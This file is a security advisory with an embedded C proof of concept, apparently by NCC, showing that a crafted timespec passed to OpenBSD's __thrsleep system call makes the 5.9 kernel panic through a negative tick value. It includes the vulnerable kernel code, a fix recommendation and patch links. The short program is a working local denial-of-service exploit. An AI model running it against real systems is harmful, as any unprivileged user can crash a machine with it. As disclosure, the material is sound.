/*
 * thrsleep_panic.c
 *    Demonstrate a panic through the __thrsleep system call.
 *
 * gcc -g thrsleep_panic.c -o thrsleep_panic
 */

#ifdef BUG_WRITEUP //---------------------------------------------------
__thrsleep validation is insufficient and can lead to a panic.

Impact: 
Any user can panic the OpenBSD kernel with the __thrsleep system call.

Description:
The __thrsleep system call allows a user to sleep for some amount
of time.  The system call validates the user-provided parameters
in thrsleep() (kern/kern_synch.c) before calling to lower layers
to implement the sleep:

        if (timespeccmp(tsp, &now, <)) {
            /* already passed: still do the unlock */
            if ((error = thrsleep_unlock(lock, lockflags)))
                return (error);
            return (EWOULDBLOCK);
        }

        timespecsub(tsp, &now, tsp);
        to_ticks = (long long)hz * tsp->tv_sec +
            (tsp->tv_nsec + tick * 1000 - 1) / (tick * 1000) + 1;
        if (to_ticks > INT_MAX)
            to_ticks = INT_MAX;

This validation is insufficient.  Some values of the user-provided
tsp can be in the future and still lead to a negative to_ticks value
after conversion.  This condition triggers a panic in timeout_add 
(kern/kern_timeout.c) when the to_ticks value is checked to be positive:

        if (to_ticks < 0)
            panic("timeout_add: to_ticks (%d) < 0", to_ticks);

Reproduction:
Run the attached thrsleep_panic.c program.  NCC verified that
it causes a panic on OpenBSD 5.9 GENERIC kernel on an x86_64 processor.

Recommendation:
Check to see if to_ticks is negative in thrsleep (kern/kern_synch.c) and, 
if so, saturate its value at INT_MAX, since this indicates an overly 
large value.

Reported: 2016-06-29
Fixed:    http://cvsweb.openbsd.org/cgi-bin/cvsweb/src/sys/kern/kern_synch.c?rev=1.132&content-type=text/x-cvsweb-markup
          http://ftp.openbsd.org/pub/OpenBSD/patches/5.9/common/018_timeout.patch.sig
          http://ftp.openbsd.org/pub/OpenBSD/patches/5.8/common/021_timeout.patch.sig

#endif // BUG_WRITEUP ---------------------------------------------------

#include <stdio.h>
#include <sys/time.h>

int __thrsleep(const volatile void *id, clockid_t clock_id, const struct timespec *abstime, void *lock, const int *abort);

int
main(int argc, char **argv)
{
    struct timespec tsp = { 0x7000000000000000LL, 0 };
    int waitchan;

    __thrsleep(&waitchan, CLOCK_REALTIME, &tsp, NULL, NULL);
    printf("nothing happened!\n");
    return 0;
}

